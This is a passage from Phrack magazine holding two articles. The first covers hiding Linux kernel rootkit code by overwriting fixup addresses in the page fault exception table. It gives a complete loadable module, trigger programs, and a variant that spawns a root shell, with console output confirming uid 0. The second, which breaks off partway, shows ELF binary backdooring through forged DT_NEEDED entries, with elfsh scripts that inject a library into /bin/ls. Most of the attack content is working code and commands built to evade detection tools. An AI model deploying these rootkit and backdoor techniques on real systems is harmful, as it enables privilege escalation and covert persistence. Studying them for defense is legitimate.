7. Thanks
8. References
--[ 1 - Introduction
"Just another Linux LKM"... that's what you could think reading this
article, but I think it's not correct. In the past years, we have seen a
lot of techniques for hiding many kinds of things, e.g. processes, network
connection, files, etc. etc., through the use of LKM's. The first
techniques were really simple to understand. The real problem with these
techniques is that they are easy to detect as well. If you replace an
address in the syscall table, or if you overwrite the first 7 bytes within
syscall code (as described by Silvio Cesare [4]), it's quite easy for
tools such as Kstat [5] and/or AngeL [6] to identify these malicious
activities. Later, more sophisticated techniques were presented. An
interesting technique was proposed by kad, who suggested modifying the
Interrupt Descriptor Table in such a way so as to redirect an exception
raised from User Space code (such as the "Divide Error") to execute a new
handler whose address replaced the original one in the IDT entry [7]. This
idea is pretty but it has two disadvantages:
1- it's detectable using an approach based on hash values computed on the
whole IDT, as shown by AngeL in its latest 0.9.x releases. This is mainly
due to the fact that the address at which the IDT lives in kernel memory
can be easily obtained since its value is stored in %idtr register. This
register can be read with the asm instruction sidt which allows to store
it in a variable.
2- if a user code executes a division by 0 (it may happen... ) a strange
behaviour could appear. Yes, someone could think that this is uncommon if
we choose the right handler, but what if there is a safer solution?
The idea I'm proposing has just one goal: to provide effective stealth
against all tools used for identifying malicious LKM's. The technique is
based on a kernel feature which is never used in practice. In fact, as we
are going to see, we will be exploiting a general protection mechanism in
the memory management subsystem. This mechanism is used only if a user
space code is deeply bugged and this is not usually the case.
No more words let's start!
--[ 2 - System Calls and User Space Access
First of all, a bit of theory. I'll refer to Linux kernel 2.4.20, however
the code is almost the same for kernels 2.2. In particular we are
interested in what happens in some situations when we need to ask a kernel
feature through a syscall. When a syscall is called from User Space
(through software interrupt 0x80) the system_call() exception handler is
executed. Let's take a look to its implementation, found in
arch/i386/kernel/entry.S.
ENTRY(system_call)
pushl %eax # save orig_eax
SAVE_ALL
GET_CURRENT(%ebx)
testb $0x02,tsk_ptrace(%ebx) # PT_TRACESYS
jne tracesys
cmpl $(NR_syscalls),%eax
jae badsys
call *SYMBOL_NAME(sys_call_table)(,%eax,4)
movl %eax,EAX(%esp) # save the return value
[..]
As we can easily see, system_call() saves all registers' contents in the
Kernel Mode stack. It then derives a pointer to the task_struct structure
of the currently executing process by calling GET_CURRENT(%ebx). Some
checks are done to verify the correctness of syscall number and to see if
the process is currently being traced. Finally the syscall is called by
using sys_call_table, which maintains the addresses of the syscalls, by
using the syscall number saved in %eax as an offset within the table. Now
let's take a look at some particular syscalls. For our purposes, we are
searching for syscalls which take a User Space pointer as an argument. I
chose sys_ioctl() but there are other ones with a similar behaviour.
asmlinkage long sys_ioctl(unsigned int fd, unsigned int cmd, unsigned long
arg)
{
struct file * filp;
unsigned int flag;
int on, error = -EBADF;
[..]
case FIONBIO:
if ((error = get_user(on, (int *)arg)) != 0)
break;
flag = O_NONBLOCK;
[..]
The macro get_user() is used to copy data from User Space to Kernel Space.
In this case, we are directing our attention at the code for setting non
blocking I/O on the file descriptor passed to the syscall. An example of
correct use, from User Space, of this feature could be :
int on = 1;
ioctl(fd, FIONBIO, &on);
Let's take a look at the get_user() implementation which can be found in
include/asm/uaccess.h.
#define __get_user_x(size,ret,x,ptr) \
__asm__ __volatile__("call __get_user_" #size \
:"=a" (ret),"=d" (x) \
:"0" (ptr))
/* Careful: we have to cast the result to the type of the pointer for sign
reasons */
#define get_user(x,ptr) \
({ int __ret_gu,__val_gu; \
switch(sizeof (*(ptr))) { \
case 1: __get_user_x(1,__ret_gu,__val_gu,ptr); break; \
case 2: __get_user_x(2,__ret_gu,__val_gu,ptr); break; \
case 4: __get_user_x(4,__ret_gu,__val_gu,ptr); break; \
default: __get_user_x(X,__ret_gu,__val_gu,ptr); break; \
} \
(x) = (__typeof__(*(ptr)))__val_gu; \
__ret_gu; \
})
As we can see, get_user() is implemented in a very smart way because it
calls the right function basing on the size of the argument to be copied
from User Space. Depending on the value of (sizeof (*(ptr))) __get_user_1()
, __get_user_2() or __get_user_4(), would be called.
Now let's take a look at one of these functions, __get_user_4(), which can
be found in arch/i386/lib/getuser.S.
addr_limit = 12
[..]
.align 4
.globl __get_user_4
__get_user_4:
addl $3,%eax
movl %esp,%edx
jc bad_get_user
andl $0xffffe000,%edx
cmpl addr_limit(%edx),%eax
jae bad_get_user
3: movl -3(%eax),%edx
xorl %eax,%eax
ret
bad_get_user:
xorl %edx,%edx
movl $-14,%eax
ret
.section __ex_table,"a"
.long 1b,bad_get_user
.long 2b,bad_get_user
.long 3b,bad_get_user
.previous
The last lines between .section and .previous identify the exception table
which we'll discuss later since it's important for our purposes.
As it can be seen, the __get_user_4() implementation is straightforward.
The argument address is in the %eax register. By adding 3 to %eax, it's
possible to obtain the greatest User Space referenced address. It's
necessary to control if this address is in the User Mode addressable range
(from 0x00000000 to PAGE_OFFSET - 1, where PAGE_OFFSET is usually
0xc0000000).
If, when comparing the User Space address with current->addr_limit.seg
(stored at offset 12 from the beginning of the task descriptor, whose
pointer was obtained by zeroing the last 13 bits of the Kernel Mode stack
pointer) we find it is greater than PAGE_OFFSET - 1, we jump to the label
bad_get_user thus zeroing %edx and putting -EFAULT (-14) in %eax (syscall
return value).
But what happens if this address is in the User Mode addressable range
(below PAGE_OFFSET) but outside the process address space? Did someone say
Page Fault?!
--[ 3 - Page Fault Exception
"A page fault exception is raised when the addressed page is not present in
memory, the corresponding page table entry is null or a violation of the
paging protection mechanism has occurred." [1]
Linux handles a page fault exception with the page fault handler
do_page_fault(). This handler can be found in arch/i386/mm/fault.c
In particular, we are interested in the three cases which may occur when a
page fault exception occurs in Kernel Mode.
In the first case, "the kernel attempts to address a page belonging to the
process address space, but either the corresponding page frame does not
exist (Demand Paging) or the kernel is trying to write a read-only page
(Copy On Write)." [1]
In the second case, "some kernel function includes a programming bug that
causes the exception to be raised when the program is executed;
alternatively, the exception might be caused by a transient hardware
error." [1]
This two cases are not interesting for our purposes.
The third (and interesting) case is when "a system call service routine
(such as sys_ioctl() in our example) attempts to read or write into a
memory area whose address has been passed as a system call parameter, but
that address does not belong to the process address space." [1]
The first case is easily identified by looking at the process memory
regions. If the address which caused the exception belongs to the process
address space it will fall within a process memory region. This is not
interesting for our purposes.
The interesting thing is how the kernel can distinguish between the second
and the third case. The key to determining the source of a page fault lies
in the narrow range of calls that the kernel uses to access the process
address space.
For this purpose, the kernel builds an exception table in kernel memory.
The boundaries of such region are defined by the symbols
__start___ex_table and __stop___ex_table. Their values can be easily
derived from System.map in this way.
buffer@rigel:/usr/src/linux$ grep ex_table System.map
c0261e20 A __start___ex_table
c0264548 A __stop___ex_table
buffer@rigel:/usr/src/linux$
What's the content of this memory region? In this region you could find
couples of address. The first one (insn) represents the address of the
instruction (belonging to a function which accesses the User Space address
range, such as the ones previously described) which may raise a page
fault. The second one (fixup) is a pointer to the "fixup code".
When a page fault occurs within the kernel and the first case (demand
paging or copy on write) is not verified, the kernel checks if the address
which caused the page fault matches an insn entry in the exception table.
If it doesn't, we are in the second case and the kernel raises an Oops.
Otherwise, if the address matches an insn entry in the exception table, we
are in the third case since the page fault exception was raised while
accessing a User Space address. In this case, the control is passed to the
function whose address is specified in the exception table as fixup code.
This is done by simply doing this.
if ((fixup = search_exception_table(regs->eip)) != 0) {
regs->eip = fixup;
return;
}
The function search_exception_table() searches for an insn entry in the
exception table which matches the address of the instruction which raised
the page fault. If it's found, it means the page fault exception was
raised during an access to a User Space address. In this case, regs->eip
is pointed to the fixup code and then do_page_fault() returns thus jumping
to the fixup code.
It is obvious to realize that the three functions __get_user_x(), which
access User Space addresses, must have a fixup code for handling
situations like the one depicted before.
Going back let's take a look again at __get_user_4()
.align 4
.globl __get_user_4
__get_user_4:
addl $3,%eax
movl %esp,%edx
jc bad_get_user
andl $0xffffe000,%edx
cmpl addr_limit(%edx),%eax
jae bad_get_user
3: movl -3(%eax),%edx
xorl %eax,%eax
ret
bad_get_user:
xorl %edx,%edx
movl $-14,%eax
ret
.section __ex_table,"a"
.long 1b,bad_get_user
.long 2b,bad_get_user
.long 3b,bad_get_user
.previous
First of all, looking at the code, we should point our attention to the GNU
Assembler .section directive which allows the programmer to specify which
section of the executable file will contain the code that follows. The "a"
attribute specifies that the section must be loaded in memory together
with the rest of the kernel image. So, in this case, the three entries are
inserted in the kernel exception table and are loaded with the rest of the
kernel image.
Now, taking a look at __get_user_4() there's an instruction labeled with a
3.
3: movl -3(%eax),%edx
If we added 3 to %eax (it is done in the first instruction of the function
__get_user_4() for checking purposes as outlined before), -3(%eax) is the
starting address of the 4-byte argument to copy from User Space. So, this
is the instruction which really accesses User Space address. Take a look
at the last entry in the exception table
.long 3b,bad_get_user
If you know that the suffix b stands for 'backward' to indicate that the
label appears in a previous line of code (and so simply ignore it just for
understanding the meaning of this code), you could realize that here we
have
insn : address of movl -3(%eax),%edx
fixup : address of bad_get_user
Well guys what we are realizing here is that bad_get_user is the fixup code
for the function __get_user_4() and it will be called every time the
instruction labeled 3 raises a page fault. This is obviously still true for
__get_user_1() and __get_user_2().
At this point we need bad_get_user address.
buffer@rigel:/usr/src/linux$ grep bad_get_user System.map
c022f39c t bad_get_user
buffer@rigel:/usr/src/linux$
If you compile exception.c (shown later) with flag FIXUP_DEBUG set, you'll
see this in your log files which clearly shows what I said before.
May 23 18:36:35 rigel kernel: address : c0264530 insn: c022f361
fixup : c022f39c
May 23 18:36:35 rigel kernel: address : c0264538 insn: c022f37a
fixup : c022f39c
May 23 18:36:35 rigel kernel: address : c0264540 insn: c022f396
fixup : c022f39c
buffer@rigel:/usr/src/linux$ grep __get_user_ System.map
c022f354 T __get_user_1
c022f368 T __get_user_2
c022f384 T __get_user_4
Looking at the first entry in the exception table, we can easily realize
that 0xc022f39c is the address of the instruction labeled 3 in the source
code within __get_user_4() which may raise the page fault as outlined
before. Obviously, the situation is similar for the other two functions.
Now the idea should be clear. If I replace a fixup code address in the
exception table and then from User Space I just call a syscall with a bad
address argument I can force the execution of whatever I want. And for
doing this I need to modify just 4 bytes! Moreover, this appears to be
particulary stealth since this situation is not so common. In fact, for
raising this behaviour, it's necessary that the program you will execute
contain a bug in passing an argument to a syscall. If you know this can
lead to something interesting you could even do it but this situation is
very uncommon. In the next section I present a proof of concept which
shows how to exploit what I discussed. In this example, I modified fixup
code addresses of the three __get_user_x() functions.
--[ 4 - Implementation
This is the LKM code. In this code, I hardcoded some values taken from my
System.map file but it's not needed to edit the source file since these
values can be passed to the module when calling insmod for linking it to
the kernel. If you want more verbosity in the log files, compile it with
the flag -DFIXUP_DEBUG (as done for showing results presented before).
---------------[ exception.c ]----------------------------------------
/*
* Filename: exception.c
* Creation date: 23.05.2003
* Author: Angelo Dell'Aera 'buffer' - buffer@antifork.org
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston,
* MA 02111-1307 USA
*/
#ifndef __KERNEL__
#define __KERNEL__
#endif
#ifndef MODULE
#define MODULE
#endif
#define __START___EX_TABLE 0xc0261e20
#define __END___EX_TABLE 0xc0264548
#define BAD_GET_USER 0xc022f39c
unsigned long start_ex_table = __START___EX_TABLE;
unsigned long end_ex_table = __END___EX_TABLE;
unsigned long bad_get_user = BAD_GET_USER;
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/slab.h>
#ifdef FIXUP_DEBUG
# define PDEBUG(fmt, args...) printk(KERN_DEBUG "[fixup] : " fmt, ##args)
#else
# define PDEBUG(fmt, args...) do {} while(0)
#endif
MODULE_PARM(start_ex_table, "l");
MODULE_PARM(end_ex_table, "l");
MODULE_PARM(bad_get_user, "l");
struct old_ex_entry {
struct old_ex_entry *next;
unsigned long address;
unsigned long insn;
unsigned long fixup;
};
struct old_ex_entry *ex_old_table;
void hook(void)
{
printk(KERN_INFO "Oh Jesus... it works!\n");
}
void cleanup_module(void)
{
struct old_ex_entry *entry = ex_old_table;
struct old_ex_entry *tmp;
if (!entry)
return;
while (entry) {
*(unsigned long *)entry->address = entry->insn;
*(unsigned long *)((entry->address) + sizeof(unsigned
long)) = entry->fixup;
tmp = entry->next;
kfree(entry);
entry = tmp;
}
return;
}
int init_module(void)
{
unsigned long insn = start_ex_table;
unsigned long fixup;
struct old_ex_entry *entry, *last_entry;
ex_old_table = NULL;
PDEBUG(KERN_INFO "hook at address : %p\n", (void *)hook);
for(; insn < end_ex_table; insn += 2 * sizeof(unsigned long)) {
fixup = insn + sizeof(unsigned long);
if (*(unsigned long *)fixup == BAD_GET_USER) {
PDEBUG(KERN_INFO "address : %p insn: %lx fixup : %lx\n",
(void *)insn, *(unsigned long *)insn,
*(unsigned long *)fixup);
entry = (struct old_ex_entry *)kmalloc(GFP_ATOMIC,
sizeof(struct old_ex_entry));
if (!entry)
return -1;
entry->next = NULL;
entry->address = insn;
entry->insn = *(unsigned long *)insn;
entry->fixup = *(unsigned long *)fixup;
if (ex_old_table) {
last_entry = ex_old_table;
while(last_entry->next != NULL)
last_entry = last_entry->next;
last_entry->next = entry;
} else
ex_old_table = entry;
*(unsigned long *)fixup = (unsigned long)hook;
PDEBUG(KERN_INFO "address : %p insn: %lx fixup : %lx\n",
(void *)insn, *(unsigned long *)insn,
*(unsigned long *)fixup);
}
}
return 0;
}
MODULE_LICENSE("GPL");
-------------------------------------------------------------------------
And now a simple code which calls ioctl(2) with a bad argument.
---------------- [ test.c ]----------------------------------------------
/*
* Filename: test.c
* Creation date: 23.05.2003
* Author: Angelo Dell'Aera 'buffer' - buffer@antifork.org
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston,
* MA 02111-1307 USA
*/
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <sys/ioctl.h>
int main()
{
int fd;
int res;
fd = open("testfile", O_RDWR | O_CREAT, S_IRWXU);
res = ioctl(fd, FIONBIO, NULL);
printf("result = %d errno = %d\n", res, errno);
return 0;
}
-------------------------------------------------------------------------
Ok let's look if it works.
buffer@rigel:~$ gcc -I/usr/src/linux/include -O2 -Wall -c exception.c
buffer@rigel:~$ gcc -o test test.c
buffer@rigel:~$ ./test
result = -1 errno = 14
As we expected, we got an EFAULT error (errno = 14).
Let's try to link our module now.
buffer@rigel:~$ su
Password:
bash-2.05b# insmod exception.o
bash-2.05b# exit
buffer@rigel:~$ ./test
result = 25 errno = 0
buffer@rigel:~$
Looking at /var/log/messages
bash-2.05b# tail -f /usr/adm/messages
[..]
May 23 21:31:56 rigel kernel: Oh Jesus... it works!
Seems it works fine! :)
What can we do now?! Try to take a look at this!
Just changing the previous hook() function with this simple one
void hook(void)
{
current->uid = current->euid = 0;
}
and using this user space code for triggering the page fault handler
------------ shell.c -----------------------------------------------------
/*
* Filename: shell.c
* Creation date: 23.05.2003
* Author: Angelo Dell'Aera 'buffer' - buffer@antifork.org
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston,
* MA 02111-1307 USA
*/
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <sys/ioctl.h>
int main()
{
int fd;
int res;
char *argv[2];
argv[0] = "/bin/sh";
argv[1] = NULL;
fd = open("testfile", O_RDWR | O_CREAT, S_IRWXU);
res = ioctl(fd, FIONBIO, NULL);
printf("result = %d errno = %d\n", res, errno);
execve(argv[0], argv, NULL);
return 0;
}
--------------------------------------------------------------------------
buffer@rigel:~$ su
Password:
bash-2.05b# insmod exception.o
bash-2.05b# exit
buffer@rigel:~$ gcc -o shell shell.c
buffer@rigel:~$ id
uid=500(buffer) gid=100(users) groups=100(users)
buffer@rigel:~$ ./shell
result = 25 errno = 0
sh-2.05b# id
uid=0(root) gid=100(users) groups=100(users)
sh-2.05b#
Really nice, isn't it? :)
This is just an example of what you can do. Using this LKM, you are able
to execute anything as if you were root. Do you need something else? Well
what you need is simply modifying hook() and/or user space code which
raises Page Fault exception... it's up to your fantasy now!
-- [ 5 - Further Considerations
When this idea came to my mind I wasn't able to realize what I really did.
It came out just as the result of an intellectual masturbation. Just few
hours later I understood...
Think about what you need for changing an entry in the syscall table for
redirecting a system call. Or think about what you need for modifying the
first 7 bytes of a syscall code as outlined by Silvio. What you need is
simply a "reference mark". Here, your "reference mark" is the exported
symbol sys_call_table in both cases. But, unfortunately, you're not the
only one who knows it. Detection tools can easily know it (since it's an
exported symbol) and so it's quite simple for them to detect changes in
the syscall table and/or in the system call code.
What if you want to modify the Interrupt Descriptor Table as outlined by
kad? You need a "reference mark" as well. In this case, the "reference
mark" is the IDT address in the kernel memory. But this address is easy to
retrieve too and what a detection tool needs to obtain it is simply this
long long idtr;
long __idt_table;
__asm__ __volatile__("sidt %0\n" : : "m"(idtr));
__idt_table = idtr >> 16;
As result, __idt_table will store the IDT address thus easily obtaining the
"reference mark" to the IDT. This is done through using sidt asm
instruction. AngeL, in its latest development releases 0.9.x, uses this
approach and it's able to detect in real-time an attack based on what
stated in [7].
Now think again about what I discussed in the previous sections. It's easy
to understand that obtaining a "reference mark" to the page fault
exception table is not so straightforward as in the previous cases.
The only way for retrieving the page fault exception table address is
through System.map file.
While writing a detection tool whose aim is to detect this kind of attack,
making the assumption that the System.map file refers to the currently
running kernel could be counterproductive. In fact, if it weren't true,
the detection tool could start monitor addresses where not important
(obviously for the purposes of this article) kernel data reside.
Remember that it's easy to generate a System.map file through using nm(2)
but there are a lot of systems out there whose administrators simply
ignore the role of System.map and don't maintain it synchronized with the
currently running kernel.
-- [ 6 - Conclusions
Modifying the page fault handler exception table is quite simple as we
realized. Moreover, it is really stealth since it's possible to obtain
great results just modifying 4 bytes in the kernel memory. In my proof of
concept code, for the sake of simplicity, I modified 12 bytes but it's
easy to realize that it's possible to obtain the same result just
modifying the __get_user_4() fixup code address.
Moreover, it's difficult to find out there programs with bugs of this kind
which raise this kind of behaviour. Remember that for raising this
behaviour you have to pass a wrong address to a syscall. How many programs
doing this have you seen? I think that this kind of approach is really
stealth since this situation is never encountered. In fact, these are bugs
that, if present, are usually corrected by the author before distributing
their programs. The kernel must implement the approach outlined before but
it usually never needs to execute it.
-- [ 7 - Thanks
Many thanks to Antifork Research guys... really cool to work with you!
-- [ 8 - References
[1] "Understanding the Linux Kernel"
Daniel P. Bovet and Marco Cesati
O'Reilly
[2] "Linux Device Drivers"
Alessandro Rubini and Jonathan Corbet
O'Reilly
[3] Linux kernel source
[http://www.kernel.org]
[4] "Syscall Redirection Without Modifying the Syscall Table"
Silvio Cesare
[http://www.big.net.au/~silvio/]
[5] Kstat
[http://www.s0ftpj.org/en/tools.html]
[6] AngeL
[http://www.sikurezza.org/angel]
[7] "Handling Interrupt Descriptor Table for Fun and Profit"
kad
Phrack59-0x04
[http://www.phrack.org]
|=[ EOF ]=---------------------------------------------------------------=|
==Phrack Inc.==
Volume 0x0b, Issue 0x3D, Phile #0x08 of 0x0f
|=---------- .:: Devhell Labs and Phrack Magazine present ::. ----------=|
|=----------------------------------------------------------------------=|
|=------------------=[ The Cerberus ELF Interface ]=------------------=|
|=----------------------------------------------------------------------=|
|=------------------=[ mayhem <mayhem@devhell.org> ]=------------------=|
1. Introduction
2. Quick and usable backdoor in 4 bytes
a/ The .dynamic section
b/ DT_NEEDED and DT_DEBUG entries
c/ Performing function hijacking
d/ Example 1: ls and opendir()
3. Residency : ET_REL injection into ET_EXEC
a/ Section injection : pre-interp vs post-bss
b/ Multiple BSS merging
c/ Symbol tables merging
d/ Mixing (a,b,c) for injecting a module into an executable
e/ Example 2: sshd and crypt()
f/ Multi-architecture algorithms
g/ ELFsh 0.51b relocation engine implementation details
4. Infection : ALTPLT technique
a/ Foundations of ALTPLT
b/ ALTPLT on SPARC
c/ Example 3: md5sum and fopen64()
d/ Multi-architecture algorithm
e/ Improvement suggestions for the redir command
5. The end ?
6. Greets
7. References
-------[ 1. Introduction
This article introduces three new generic techniques in ELF
(Executable and Linking Format) objects manipulation. The first
presented one is designed to be simple and quickly implemented,
others are more complex and allow advanced software extension
without having the source tree. These techniques can be used for
a wide panel of requirements such as closed-source software
debugging, software extension, backdooring, virii writing,
intrusion detection and intrusion prevention.
The examples will make use of the ELF shell [1], a freely
available scripting language to modify ELF binaries. It works
on two architectures (INTEL and SPARC) and four operating
systems (Linux, NetBSD, FreeBSD, and Solaris). Moreover the
techniques work even if the target machine is installed with
address space randomization and execution restriction, such as
PaX [2] protected boxes, since all the code injection is done
in the allowed areas.
ELF basics -will not- be explained, if you have troubles
understanding the article, please read the ELF TIS [3] reference
before requesting extra details ;). You can also try another
resource [4] which is a good introduction to the ELF format,
from the virus writing perspective.
In the first part of the paper, an easy and pragmatic technique
for backdooring an executable will be described, just by
changing 4 bytes. It consists of corrupting the .dynamic section
of the binary (2) and erase some entries (DT_DEBUG) for adding
others (DT_NEEDED), plus swapping existing DT_NEEDED entries to
give priority to certain symbols, all of this without changing
the file size.
The second part describes a complex residency technique, which
consists of adding a module (relocatable object ET_REL, e.g. a
.o file) into an executable file (ET_EXEC) as if the binary was
not linked yet. This technique is provided for INTEL and SPARC
architectures : compiled C code can thus be added permanently
to any ELF32 executable.
Finally, a new infection technique called ALTPLT (4) will be
explained. This feature is an extension of PLT infection [5]
and works in correlation with the ET_REL injection. It consists
of duplicating the Procedure Linkage Table and inject symbols
onto each entry of the alternate PLT. The advantages of this
technique are the relative portability (relative because we will
see that minor architecture dependant fixes are necessary), its
PaX safe bevahior as well, and the ability to call the original
function from the hook function without having to perform
painful tasks like runtime byte restoration.
Example ELFsh scripts are provided for all the explained
techniques. However, no ready-to-use backdoors will be included
(do you own!). For peoples who did not want to see these
techniques published, I would just argue that all of
them have been available for a couple of months for those
who wanted, and new techniques are already in progress. These
ideas were born from a good exploitation of the information
provided in the ELF reference and nothing was ripped to anyone.
I am not aware of any implementation providing these features,
but if you feel injuried, you can send flame emails and my
bot^H^H^H^H^H^H I will kindly answer all of them.
-------[ 2. Quick and usable backdoor in 4 bytes
Every dynamic executable file contains a .dynamic section. This
zone is useful for the runtime linker. This datazone is useful
for accessing crucial information at runtime without requiring a
section header table (SHT), since the .dynamic section data
matches the bounds of the PT_DYNAMIC segment entry of the
Program Header Table (PHT). Useful information includes the
address and size of relocation tables, the addresses of
initialization and destruction routines, the addresses of
version tables, pathes for needed libraries, and so on. Each
entry of .dynamic looks like this (as shown in elf.h) :
typedef struct
{
Elf32_Sword d_tag; /* Dynamic entry type */
union
{
Elf32_Word d_val; /* Integer value */
Elf32_Addr d_ptr; /* Address value */
} d_un;
} Elf32_Dyn;
For each entry, d_tag is the type (DT_*) and d_val (or d_ptr) is
the related value. Let's use the elfsh '-d' option to print the
dynamic section:
-----BEGIN EXAMPLE 1-----
$ elfsh -f /bin/ls -d
[*] Object /bin/ls has been loaded (O_RDONLY)
[SHT_DYNAMIC]
[Object /bin/ls]
[00] Name of needed library => librt.so.1 {DT_NEEDED}
[01] Name of needed library => libc.so.6 {DT_NEEDED}
[02] Address of init function => 0x08048F88 {DT_INIT}
[03] Address of fini function => 0x0804F45C {DT_FINI}
[04] Address of symbol hash table => 0x08048128 {DT_HASH}
[05] Address of dynamic string table => 0x08048890 {DT_STRTAB}
[06] Address of dynamic symbol table => 0x08048380 {DT_SYMTAB}
[07] Size of string table => 821 bytes {DT_STRSZ}
[08] Size of symbol table entry => 16 bytes {DT_SYMENT}
[09] Debugging entry (unknown) => 0x00000000 {DT_DEBUG}
[10] Processor defined value => 0x0805348C {DT_PLTGOT}
[11] Size in bytes for .rel.plt => 560 bytes {DT_PLTRELSZ}
[12] Type of reloc in PLT => 17 {DT_PLTREL}
[13] Address of .rel.plt => 0x08048D58 {DT_JMPREL}
[14] Address of .rel.got section => 0x08048D20 {DT_REL}
[15] Total size of .rel section => 56 bytes {DT_RELSZ}
[16] Size of a REL entry => 8 bytes {DT_RELENT}
[17] SUN needed version table => 0x08048CA0 {DT_VERNEED}
[18] SUN needed version number => 2 {DT_VERNEEDNUM}
[19] GNU version VERSYM => 0x08048BFC {DT_VERSYM}
[*] Object /bin/ls unloaded
$
-----END EXAMPLE 1-----
The careful reader would have noticed a strange entry of type
DT_DEBUG. This entry is used in the runtime linker to retrieve
debugging information, it is present in all GNU tools generated
binaries but it is not mandatory. The idea is to erase it using
a forged DT_NEEDED, so that an extra library dependance is added
to the executable.
The d_val field of a DT_NEEDED entry contains a relative offset
from the beginning of the .dynstr section, where we can find the
library path for this entry. What happens if we want to avoid
injecting an extra library path string into the .dynstr
section ?
-----BEGIN EXAMPLE 2-----
$ elfsh -f /bin/ls -X dynstr | grep so
.dynstr + 16 6C69 6272 742E 736F 2E31 0063 6C6F 636B librt.so.1.clock
.dynstr + 48 696E 5F75 7365 6400 6C69 6263 2E73 6F2E in_used.libc.so.
.dynstr + 176 726E 616C 0071 736F 7274 006D 656D 6370 rnal.qsort.memcp
.dynstr + 784 6565 006D 6273 696E 6974 005F 5F64 736F ee.mbsinit.__dso
$
-----END EXAMPLE 2-----
We just have to choose an existing library path string, but
avoid starting at the beginning ;). The ELF reference specifies
clearly that a same string in .dynstr can be used by multiple
entries at a time:
-----BEGIN EXAMPLE 3-----
$ cat > /tmp/newlib.c
function()
{
printf("my own fonction \n");
}
$ gcc -shared /tmp/newlib.c -o /lib/rt.so.1
$ elfsh
Welcome to The ELF shell 0.5b9 .::.
.::. This software is under the General Public License
.::. Please visit http://www.gnu.org to know about Free Software
[ELFsh-0.5b9]$ load /bin/ls
[*] New object /bin/ls loaded on Mon Apr 28 23:09:55 2003
[ELFsh-0.5b9]$ d DT_NEEDED|DT_DEBUG
[SHT_DYNAMIC]
[Object /bin/ls]
[00] Name of needed library => librt.so.1 {DT_NEEDED}
[01] Name of needed library => libc.so.6 {DT_NEEDED}
[09] Debugging entry (unknown) => 0x00000000 {DT_DEBUG}
[ELFsh-0.5b9]$ set 1.dynamic[9].tag DT_NEEDED
[*] Field set succesfully
[ELFsh-0.5b9]$ set 1.dynamic[9].val 19 # see .dynstr + 19
[*] Field set succesfully
[ELFsh-0.5b9]$ save /tmp/ls.new
[*] Object /tmp/ls.new saved successfully
[ELFsh-0.5b9]$ quit
[*] Unloading object 1 (/bin/ls) *
Good bye ! .::. The ELF shell 0.5b9
$
-----END EXAMPLE 3-----
Lets verify our changes:
-----BEGIN EXAMPLE 4-----
$ elfsh -f ls.new -d DT_NEEDED
[*] Object ls.new has been loaded (O_RDONLY)
[SHT_DYNAMIC]
[Object ls.new]
[00] Name of needed library => librt.so.1 {DT_NEEDED}
[01] Name of needed library => libc.so.6 {DT_NEEDED}
[09] Name of needed library => rt.so.1 {DT_NEEDED}
[*] Object ls.new unloaded
$ ldconfig # refresh /etc/ld.so.cache
$
-----END EXAMPLE 4-----
This method is not extremely stealth because a simple command can
list all the library dependances for a given binary:
$ ldd /tmp/ls.new
librt.so.1 => /lib/librt.so.1 (0x40021000)
libc.so.6 => /lib/libc.so.6 (0x40033000)
rt.so.1 => /lib/rt.so.1 (0x40144000)
libpthread.so.0 => /lib/libpthread.so.0 (0x40146000)
/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
$
Is the executable still working?
$ ./ls.new
AcroOlAAFj ELFSH_DEBUG ls.new newlib.c
$
OK, so we found a good way to inject as much code as we want in
a process, by adding a library dependance to the main object, the
executable object. Now what if we want to hijack functions with
such an easy technique? We can force some symbols to get resolved
in priority over other symbols : when the runtime relocation is
done (when the .got section is patched), the runtime linker will
iterate on the link_map [6] [7] [8] list, find the first matching
symbol, and fill the Global Offset Table related entry (or the
Procedure Linkage Table entry if we are on SPARC) with the
absolute runtime address where the function is mapped. A simple
technique consists of swapping DT_NEEDED entries and make our own
library to be present before other libraries in the link_map
double linked list, and symbols to be resolved before the
original symbols. In order to call the original function from
the hook function, we will have to use dlopen(3) and dlsym(3) so
that we can resolve a symbol for a given object.
Lets take the same code, and this time, write a script which can
hijack opendir(3) to our own function(), and then call the
original opendir(), so that the binary can be run normally:
-----BEGIN EXAMPLE 5-----
$ cat dlhijack.esh
#!/usr/bin/elfsh
load /bin/ls
# Move DT_DEBUG into DT_NEEDED
set 1.dynamic[9].tag DT_NEEDED
# Put the former DT_DEBUG entry value to the first DT_NEEDED value
set 1.dynamic[9].val 1.dynamic[0].val
# Add 3 to the first DT_NEEDED value => librt.so.1 becomes rt.so.1
add 1.dynamic[0].val 3
save ls.new
quit
$
-----END EXAMPLE 5-----
Now let's write the opendir hook code:
-----BEGIN EXAMPLE 6-----
$ cat myopendir.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <fcntl.h>
#include <dirent.h>
#include <dlfcn.h>
#define LIBC_PATH "/lib/libc.so.6"
